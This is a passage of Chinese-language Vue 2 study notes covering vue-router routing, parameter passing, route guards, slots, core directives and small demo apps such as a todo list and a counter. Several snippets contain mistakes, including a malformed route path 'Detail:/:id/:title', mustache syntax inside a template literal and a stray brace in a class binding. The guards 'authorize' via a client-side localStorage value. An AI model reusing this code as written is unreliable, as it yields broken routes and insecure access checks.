<div class="col-xs-2 col-xs-offset-2">
<div class="list-group">
<!-- 原始html中我们使用a标签实现页面的跳转 -->
<!-- <a class="list-group-item active" href="./about.html">About</a> -->
<!-- <a class="list-group-item" href="./home.html">Home</a> -->
<!-- Vue中借助router-link标签实现路由的切换 active-class点击激活 -->
<router-link class="list-group-item" active-class="active" to="/about"
>About</router-link
>
<router-link class="list-group-item" active-class="active" to="/home"
>Home</router-link
>
</div>
</div>
<div class="col-xs-6">
<div class="panel">
<div class="panel-body">
<!-- 指定组件的呈现位置 -->
<router-view></router-view>
</div>
</div>
</div>
</div>
</div>
</template>
<script>
export default {
name: 'App'
}
</script>
About组件:
<template>
<h2>我是About的内容</h2>
</template>
<script>
export default {
name: 'AboutS'
}
</script>
Home组件:
<template>
<h2>我是Home的内容</h2>
</template>
<script>
export default {
name: 'HomeS'
}
</script>
3、注
(1)路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。
(2)通过切换,“隐藏”了的路由组件,默认是被销毁掉的,需要的时候再去挂载。
(3)每个组件都有自己的$route属性,里面存储着自己的路由信息。
(4)整个应用只有一个router,可以通过组件的$router属性获取到。
4、多级路由
(1)配置路由规则,使用children配置项:
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import HomeMessage from '../pages/HomeMessage'
import HomeNews from '../pages/HomeNews'
//创建并暴露一个路由器
export default new VueRouter({
routes: [
{
path: '/about',/* 路径 */
component: About/* 组件 */
},
{
path: '/home',//一级路由
component: Home,
children: [//通过children配置子级路由
{
path: 'HomeMessage',//此处一定不要写:/HomeMessage
component: HomeMessage
},
{
path: 'HomeNews',
component: HomeNews
}
]
}
]
})
(2)跳转(要写完整路径)
home组件路由下的HomeMessage实现跳转
<router-link to="/home/HomeMessage">HomeMessage</router-link>
5、路由的query参数
三级路由的参数传递:
(1)给HomeMessage传递参数query是Detail组件中的内容
<li v-for="m in messageList" :key="m.id">
<!-- 跳转路由并携带query参数,to的字符串写法 -->
<!-- <router-link
:to="`/home/HomeMessage/Detail?id={{m.id}}&title={{m.title}}`"
>{{ m.title }}</router-link
>
-->
<!-- 跳转路由并携带query参数,to的对象写法 -->
<router-link
:to="{
path: '/home/HomeMessage/Detail',
query: {
id: m.id,
title: m.title
}
}"
>
{{ m.title }}
</router-link>
</li>
(2)detail路由接收参数query
<ul>
<li>消息编号:{{ $route.query.id }}</li>
<li>消息内容:{{ $route.query.title }}</li>
</ul>
6、路由命名name
方便多级路由路径太长,可以使用name对象
//创建并暴露一个路由器
export default new VueRouter({
routes: [
{
name: 'guanyu',/* 路由命名*/
path: '/about',/* 路径 */
component: About/* 组件 */
},
{
path: '/home',//一级路由
component: Home,
children: [//二级路由
{
path: 'HomeMessage',
component: HomeMessage,
children: [
{
name: 'xiangqing',
path: 'Detail',
component: Detail,
}
]
},
{
path: 'HomeNews',
component: HomeNews
}
]
}
]
})
使用name前:
<!-- 跳转路由并携带query参数,to的对象写法 -->
<router-link
:to="{
path: '/home/HomeMessage/Detail',
query: {
id: m.id,
title: m.title
}
}"
>
{{ m.title }}
</router-link>
使用name后:
<router-link
:to="{
name: 'xiangqing',
query: {
id: m.id,
title: m.title
}
}"
>
{{ m.title }}
</router-link>
7、路由的params参数
(1)配置路由,声明接收params参数
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import HomeMessage from '../pages/HomeMessage'
import Detail from '../pages/Detail'
import HomeNews from '../pages/HomeNews'
//创建并暴露一个路由器
export default new VueRouter({
routes: [
{
name: 'guanyu',/* 路由命名*/
path: '/about',/* 路径 */
component: About/* 组件 */
},
{
path: '/home',//一级路由
component: Home,
children: [//二级路由
{
path: 'HomeMessage',
component: HomeMessage,
children: [
{
name: 'xiangqing',
path: 'Detail:/:id/:title',//使用占位符声明接收params参数
component: Detail,
}
]
},
{
path: 'HomeNews',
component: HomeNews
}
]
}
]
})
(2)传递参数
<!-- 跳转路由并携带params参数,to的字符串写法 -->
<!-- <router-link :to="`/home/HomeMessage/Detail/${m.id}/${m.title}`">{{m.title}}</router-link> -->
<!-- 跳转路由并携带params参数,to的对象写法 -->
<!-- 特别注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置! -->
<router-link
:to="{
name: 'xiangqing',
params: {
id: m.id,
title: m.title
}
}"
>
{{ m.title }}
</router-link>
注:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!
(3)接收参数
<ul>
<li>消息编号:{{ $route.params.id }}</li>
<li>消息内容:{{ $route.params.title }}</li>
</ul>
8、路由的props参数的三种写法
作用:让路由组件更方便的收到参数
(1)props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
children: [
{
name: 'xiangqing',
path: 'Detail:/:id/:title',//使用占位符声明接收params参数
component: Detail,
//第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
props: { a: 1, b: '你好呀!' }
}
]
接收:
<template>
<ul>
<li>a:{{ a }}</li>
<li>b:{{ b }}</li>
</ul>
</template>
<script>
export default {
name: 'DetailS',
/* 第一种props参数传递 */
props: ['a', 'b'],
}
(2)props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
children: [
{
name: 'xiangqing',
path: 'Detail:/:id/:title',//使用占位符声明接收params参数
component: Detail,
//第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
props:true
}
]
接收:params参数
<template>
<ul>
<li>消息编号:{{ id }}</li>
<li>消息标题:{{ title }}</li>
</ul>
</template>
<script>
export default {
name: 'DetailS',
props: ['id', 'title'],
}
</script>
(3)props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
children: [
{
name: 'xiangqing',
path: 'Detail:/:id/:title',//使用占位符声明接收params参数
component: Detail,
//第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
props($route) {
return {
id: $route.query.id,
title: $route.query.title
}
}
}
]
接收:
<template>
<ul>
<li>消息编号:{{ id }}</li>
<li>消息标题:{{ title }}</li>
</ul>
</template>
<script>
export default {
name: 'DetailS',
/* 第三种props参数传递 */
props: ['id', 'title']
}
</script>
9、路由守卫
对路由进行权限控制。
(1)全局路由守卫
//全局前置路由守卫————初始化的时候被调用、每次路由切换之前被调用
router.beforeEach((to, from, next) => {
console.log('前置路由守卫', to, from)
if (to.meta.isAuth) { //判断是否需要鉴权
if (localStorage.getItem('school') === 'hukeda') {
next()
} else {
alert('学校名不对,无权限查看!')
}
} else {
next()/* 放行 */
}
})
//全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to, from) => {
console.log('后置路由守卫', to, from)
document.title = to.meta.title || '测试系统'
})
(2)独享路由守卫
/* HomeMessage组件单独使用的守卫。 */
beforeEnter: (to, from, next) => {
console.log('独享路由守卫', to, from)
if (to.meta.isAuth) { //判断是否需要鉴权
if (localStorage.getItem('school') === 'hukeda') {
next()
} else {
alert('学校名不对,无权限查看!')
}
} else {
next()
}
},
(2)组件内路由守卫
//通过路由规则,进入该组件时被调用
beforeRouteEnter(to, from, next) {
console.log('About--beforeRouteEnter', to, from)
if (to.meta.isAuth) {
//判断是否需要鉴权
if (localStorage.getItem('school') === 'hukeda') {
next()
} else {
alert('学校名不对,无权限查看!')
}
} else {
next()
}
},
//通过路由规则,离开该组件时被调用
beforeRouteLeave(to, from, next) {
console.log('About--beforeRouteLeave', to, from)
next()
}
三十、插槽
作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件 。
1、默认插槽
在子组件中用slot声明插槽位置
template>
<div class="category">
<h3>{{ title }}分类</h3>
<!-- 定义一个插槽(挖个坑,等着组件的使用者进行填充) -->
<slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
</div>
</template>
父组件中定义了数据。将数据直接放到组件名中间
<组件名>
需要插入到子组件中的html
</组件名>
<template>
<div class="container">
<Category title="食物">
<img
src="https://t7.baidu.com/it/u=1819248061,230866778&fm=193&f=GIF"
alt=""
/>
</Category>
<Category title="游戏">
<ul>
<li v-for="(g, index) in games" :key="index">{{ g }}</li>
</ul>
</Category>
<Category title="电影">
<video
controls
src="//video-qn.51miz.com/preview/video/00/00/14/73/V-147399-A6478B1E.mp4"
></video>
</Category>
</div>
</template>
<script>
import Category from './components/Category'
export default {
name: 'App',
data() {
return {
foods: ['火锅', '烧烤', '小龙虾', '牛排'],
games: ['LPL', '穿越火线', '消消乐', '超级玛丽'],
films: ['《盗梦空间》', '《流浪地球》', '《战狼》', '《你好,李焕英》']
}
},
components: { Category }
}
</script>
2、具名插槽
子组件中需要多个插槽,通过name来区分插入的位置
<template>
<div class="category">
<h3>{{ title }}分类</h3>
<!-- 具名插槽,插入多个标签时 -->
<slot name="center"
>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot
>
<slot name="footer"
>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot
>
</div>
</template>
<script>
export default {
name: 'CategoryS',
props: ['list', 'title']
}
</script>
父组件往子组件中插入多个标签时,通过slot="子组件中定义的name值",来区分放的位置
<template>
<div class="container">
<Category title="食物">
<!-- 具名插槽,插入多个标签时 -->
<img
slot="center"
src="https://t7.baidu.com/it/u=1819248061,230866778&fm=193&f=GIF"
alt=""
/>
<a slot="footer" href="http://www.atguigu.com">更多美食</a>
</Category>
<Category title="游戏">
<div slot="center">
<ul>
<li v-for="(g, index) in games" :key="index">{{ g }}</li>
</ul>
</div>
<div class="foot" slot="footer">
<a href="">点击</a>
<a href="">点击</a>
<a href="">点击</a>
</div>
</Category>
<Category title="电影">
<video
slot="center"
controls
src="//video-qn.51miz.com/preview/video/00/00/14/73/V-147399-A6478B1E.mp4"
></video>
<a href="" slot="footer">加载</a>
</Category>
</div>
</template>
<script>
import Category from './components/Category'
export default {
name: 'App',
components: { Category },
data() {
return {
foods: ['火锅', '烧烤', '小龙虾', '牛排'],
games: ['LPL', '穿越火线', '消消乐', '超级玛丽'],
films: ['《盗梦空间》', '《流浪地球》', '《战狼》', '《你好,李焕英》']
}
}
}
</script>
3、作用域插槽
理解:数据在(子)组件的自身,但根据数据生成的结构需要组件的(父组件)使用者来决定。(foods数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)
需要给子组件中的数据命名:foodss="foods"好在父组件中调用这些数据
<template>
<div class="category">
<h3>{{ title }}分类</h3>
<slot :foodss="foods" msg="hello"
>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot
>
</div>
</template>
<script>
export default {
name: 'CategoryS',
props: ['list', 'title'],
data() {
return {
foods: ['火锅', '烧烤', '小龙虾', '牛排']
}
}
}
</script>
父组件必须用放在template,并通过scope="hahha"声明,然后通过hahha.foodss调用数据
<template>
<div class="container">
<Category title="食物">
<!-- 作用域插槽,只能包在template中使用,要用scope-->
<template scope="hahha">
<ul>
<li v-for="(g, index) in hahha.foodss" :key="index">{{ g }}</li>
</ul>
</template>
</Category>
<Category title="食物">
<template scope="{foodss}">
<ol>
<li style="color: red" v-for="(g, index) in foodss" :key="index">
{{ g }}
</li>
</ol>
</template>
</Category>
<Category title="食物">
<template slot-scope="{ foodss }">
<h4 v-for="(g, index) in foodss" :key="index">{{ g }}</h4>
</template>
</Category>
</div>
</template>
快速入门vue
1、常用指令
(1)v-bind:
v-bind:属性名="表达式"
设置元素的属性。(比如:src,title,clas)
简写:省略v-bind,只保留 :属性名
<div id="app">
<img v-bind:src="imgSrc" :title="imgTitle+'!!!'">
<br>
<img :src="imgSrc" alt=""><!-- 简写 -->
<br>
<!-- v-bind控制class类 三目表达式" a?a,c" -->
<img v-bind:src="imgSrc" :title="imgTitle+'!!!'" :class="isAction?'active':''" @click="toAtion">
<br>
<!-- 对象形式 -->
<img v-bind:src="imgSrc" :title="imgTitle+'!!!'" :class="{active:isAction}}" @click="toAtion">
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#app',
data: {
imgSrc: 'D:/web/vue/img/favicon.ico',
imgTitle: '你好呀',
isAction: true
},
methods: {
toAtion: function () { //改变isAction的值,true或者false
this.isAction = !this.isAction
}
},
})
</script>
(2)v-text:
设置标签的内容(textContent)
默认写法会替换全部内容,使用差值表达式{{}}可以替换指定内容
v-text指令无论内容是什么,只会解析为文本。
<div id="demo">
<h1>
小希,{{message+"!!"}}
</h1>
<h1 v-text="message+'!!'">
小希
<!-- 这里没有显示出来,修改部分不能用这种方式,要用插值语句 -->
</h1>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#demo',
data: {
message: '你好!'
}
})
</script>
(3)v-html:
设置元素的innerhtml属性
内容之中有标签属性会被解析出来
解析文本使用v-text,需要解析html结构使用v-html
<div id="demo">
<h1 v-text="message">
小希
<!-- 这里没有显示出来,修改部分不能用这种方式,要用插值语句 -->
</h1>
<!-- v-text与v-html区别:v-text全部显示;v-html解析出来 -->
<h1 v-text="content">
小希
<!-- 这里没有显示出来,修改部分不能用这种方式,要用插值语句 -->
</h1>
<!-- v-html -->
<h1 v-html="content"></h1>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#demo',
data: {
message: '你好!',
content: "<a href='https://www.baidu.com/'>百度</a>"
}
})
</script>
(4)v-on:
为元素绑定事件
绑定的方法定义在methods属性中;
方法内部通过this关键字可以访问定义在data中数据;
简写@事件名 ;
事件绑定的方法写成函数调用的形式,可以传入自定义参数;
事件的后面跟上 .修饰符 可以对事件进行限制;
.enter 可以限制触发的按键为回车;
<div id="demo">
<input type="button" value="点击事件" v-on:click="doIt">
<input type="button" value="v-on简写" @click="doIt">
<input type="button" value="双击事件" @dblclick="doIt">
<!-- 不用更改dome元素,而是更改vue实例中的数据,就可以更改页面的内容 -->
<h1 @click="changeFood">{{food}}</h1>
</div>
<script>
Vue.config.productionTip = false
new Vue({
el: '#demo',
data: {
food: '马铃薯'
},
methods: {
doIt: function () {
alert('你好')
},
changeFood: function () {
this.food += '好吃!'
}
},
})
</script>
<div id="app">
<!-- v-on传参 -->
<input type="button" value="点击" @click="doIt(666,'老铁')">
<!-- v-on:keyup.enter回车事件 -->
<input type="text" @keyup.enter="sayHi">
</div>
<script>
Vue.config.productionTip = false
var app = new Vue({
el: "#app",
methods: {
doIt: function (p1, p2) {
console.log("做it");
console.log(p1);
console.log(p2);
},
sayHi: function () {
alert("吃了没");
}
},
})
</script>
(5)v-show:
根据真假切换元素的显示状态;
原理是修改元素的display,实现显示隐藏;
值为true元素显示,值为false元素隐藏;
数据改变之后,对应元素的显示状态会同步更新。
<div id="root">
<img src="../img/favicon.ico" v-show="isShow">
<button @click="changeIsShow">点击切换显示</button>
<br><br>
<button @click="addAge">点击增加年龄</button>
<img src="../img/favicon.ico" v-show="age>18"><!-- 年龄大于18时才显示图片 -->
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
isShow: true,
age: 17,
},
methods: {
/* 切换图片显示状态 */
changeIsShow: function () {
this.isShow = !this.isShow
},
/* 年龄增加方法 */
addAge: function () {
this.age++;
}
},
})
</script>
(6)v-if:
根据表达式的真假切换元素的显示状态;
本质是通过操纵dom元素来切换显示状态;
表达式的值为true,元素存在于dom树中,为false,从dom树中移除;
频繁的切换v-show,反之使用v-if,前者的切换消耗小。
<div id="root">
<!--
v-show:根据表达式的真假切换元素的显示状态,本质是修改元素额display,实现显示与隐藏;
v-if:根据表达式的真假切换元素的显示状态,本质是操作dom元素切换显示状态
-->
<img src="../img/favicon.ico" v-if="isShow">
<button @click="changeIsShow">点击切换显示</button>
<img src="../img/favicon.ico" v-show="isShow">
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#root',
data: {
isShow: true,
},
methods: {
/* 切换图片显示状态 */
changeIsShow: function () {
this.isShow = !this.isShow
}
},
})
</script>
(7)v-for:
v-for:循环指令,基于一个数组或者对象渲染一个列表;
根据数据生成列表结构;
数组经常和v-for结合使用;
语法是( item,index ) in 数组名;
数组长度的更新会同步到页面上,是响应式的
<div id="app">
<ul>
<!-- item占位,数组里有几个值,就显示几个,,自定义名称
inde表示数组的序号,自定义名称 -->
<li v-for="(item,inde) in arr">{{inde+1}}你好呀:{{item}}</li>
</ul>
<br>
<input type="button" value="增加菜" @click="add">
<input type="button" value="减少菜" @click="remeove">
<h2 v-for="intem in vegetables" v-bind:title="intem.name">吃:{{intem.name}}</h2>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#app',
data: {
arr: ['北京', '上海', '苏州'],
vegetables: [{
name: '土豆'
},
{
name: '洋芋'
},
{
name: '马铃薯'
},
]
},
methods: {
add: function () {
this.vegetables.push({
name: '还有啥'
});
},
remeove: function () {
this.vegetables.pop();
}
},
})
</script>
(8)v-model:
实现表单输入和应用状态之间的双向绑定(绑定的数据会和表单元素值相关联)
便捷的设置和获取表单元素的值;
<div id="app">
<input type="button" value="修改message" @click="setM">
<!-- v-model同步进行 -->
<input type="text" v-model="message" @keyup.enter="getM">
<h2>{{ message }}</h2>
</div>
<script>
Vue.config.productionTip = false
var app = new Vue({
el: "#app",
data: {
message: "小希"
},
methods: {
getM: function () {
alert(this.message);
},
setM: function () {
this.message = "你好";
}
},
})
</script>
2、案例
(1)记事本案例
主要功能:
最终成果:
<section id="todoapp">
<header>
<h1>小希记事本</h1>
<!-- <a
href="https://weathernew.pae.baidu.com/weathernew/pc?query=%E6%B1%9F%E8%8B%8F%E8%8B%8F%E5%B7%9E%E5%A4%A9%E6%B0%94&srcid=4982"><input
class="weather" type="button" value="查询天气"></input></a> -->
<input v-model="inputValue" @keyup.enter="add" autofocus="autofocus" placeholder="请输入任务" class="new-todo" />
</header>
<!-- 列表区域 -->
<section class="main">
<ul class="todo-list">
<li class="todo" v-for="(item,index) in list">
<!-- 序号 -->
<span class="index">{{ index+1 }}.</span>
<label>{{ item }}</label>
<button class="destroy" @click="remove(index)"></button>
</li>
</ul>
</section>
<!-- 统计和清空 -->
<footer class="footer">
<span class="todo-count" v-show="list.length!=0">
<strong>{{ list.length }}</strong> 个计划
</span>
<button class="clear-completed" v-show="list.length!=0" @click="clear">
Clear
</button>
</footer>
</section>
<!-- 底部天气 -->
<footer class="info">
<p>
你好
</p>
</footer>
<body>
<script>
Vue.config.productionTip = false
new Vue({
el: '#todoapp',
data: {
list: [
'html', 'css', 'js'
],
inputValue: "好好学习,天天向上"
},
methods: {
add: function () {
this.list.push(this.inputValue);
},
remove: function (index) {
console.log("删除");
console.log(index);
this.list.splice(index, 1);
},
clear: function () {
this.list = [];
}
},
})
</script>
css:
body {
font: 14px "Helvetica Neue", Helvetica, Arial, sans-serif;
line-height: 1.4em;
background: #fff;
color: #4d4d4d;
min-width: 230px;
max-width: 550px;
margin: 0 auto;
font-weight: 300;
}
#todoapp {
background: #fff;
margin: 180px 0;
position: relative;
box-shadow: 0 2px 4px 0 rgba(0, 0, 0, 0.1), 0 25px 50px 0 rgba(0, 0, 0, 0.2);
}
#todoapp h1 {
position: absolute;
top: -160px;
width: 100%;
font-size: 60px;
font-weight: 100;
text-align: center;
color: rgba(175, 47, 47, .8);
}
.weather {
position: absolute;
top: -160px;
right: -260px;
font-size: 30px;
font-weight: 100;
text-align: center;
color: rgba(0, 47, 47, .8);
}
.todo-list {
margin: 0;
padding: 0;
list-style: none;
max-height: 500px;
overflow: auto;
}
.todo-list li {
position: relative;
font-size: 20px;
margin: 0 0 0 20px;
border-bottom: 1px solid #ededed;
height: 60px;
line-height: 60px;
box-sizing: border-box;
}
/* 输入框初始显示样式 */
.new-todo {
position: relative;
margin: 0;
padding: 16px;
width: 100%;
font-size: 20px;
line-height: 1.4em;
border: 0;
color: rgba(20, 20, 20, 0.2);
box-shadow: inset 0 -2px 1px 0 rgba(0, 0, 0, 0.2);
box-sizing: border-box;
word-wrap:break-word;
}
.index{
margin: 0px 10px;
}
/* 去掉button样式 */
button {
margin: 0;
padding: 0;
border: 0;
background: none;
font-size: 100%;
vertical-align: baseline;
font-family: inherit;
font-weight: inherit;
color: inherit;
-webkit-appearance: none;
appearance: none;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.todo-list li .destroy {
display: none;
position: absolute;
top: 0;
right: 10px;
bottom: 0;
width: 40px;
height: 40px;
margin: auto 0;
font-size: 30px;
color: #cc9a9a;
margin-bottom: 11px;
transition: color 0.2s ease-out;
}
.todo-list li .destroy:hover {
color: #af5b5e;
}
/* 删除样式 */
.todo-list li .destroy:after {
content: "×";
}
/* 鼠标悬浮*/
.todo-list li:hover .destroy {
display: block;
}
/* 清空列表 */
.clear-completed,
html .clear-completed:active {
float: right;
position: relative;
line-height: 20px;
text-decoration: none;
}
.clear-completed:hover {
color: #b84c50;
}
/* 统计标签栏 */
.todo-count {
float: left;
text-align: left;
}
.todo-count strong {
font-weight: 300;
}
/* 最后一栏样式 */
.footer {
color: #777;
padding: 10px 15px;
height: 20px;
text-align: center;
border-top: 1px solid #e6e6e6;
}
(2)图片切换
<div id="mask">
<div class="center">
<!-- 通过数组编号调用数组中的图片 -->
<img :src="imgArr[index]" alt="">
<!-- 左箭头 -->
<!-- <a href="javascript:void(0)" v-show="index!=0" @click="prev" class="left">
<img src="../img/prev.png" alt="" />
</a> -->
<a href="javascript:void(0)" v-if="index!=0" @click="prev" class="left">
<img src="../img/prev.png" alt="" />
</a>
<!-- 右箭头 -->
<a href="javascript:void(0)" v-show="index<imgArr.length-1" @click="next" class="right">
<img src="../img/next.png" alt="" />
</a>
</div>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#mask',
data: {
imgArr: [
'../img/01.jfif',
'../img/02.jpg',
'../img/03.jpg',
'../img/04.jpg',
'../img/05.jpg',
'../img/06.jpg',
'../img/07.jpg',
'../img/08.jpg',
'../img/09.jpg',
],
index: 0
},
methods: {
/* 前一张 */
prev: function () {
this.index--;
},
/* 后一张 */
next: function () {
this.index++;
}
},
})
</script>
(3)计数器
<div id="app">
<button @click="sub">-</button>
<span>{{num}}</span>
<button @click="add">+</button>
</div>
<script>
Vue.config.productionTip = false
const vm = new Vue({
el: '#app',
data: {
num: 1
},
methods: {
/* 加1方法 */
add: function () {
if (this.num < 10) {
this.num++
} else {
alert('别点击了,这是最大了')
}
},
/* 减1方法 */
sub: function () {
if (this.num > 0) {
this.num -= 1;
} else {
alert('别点击了,这是最小了')
}
}
},
})
</script>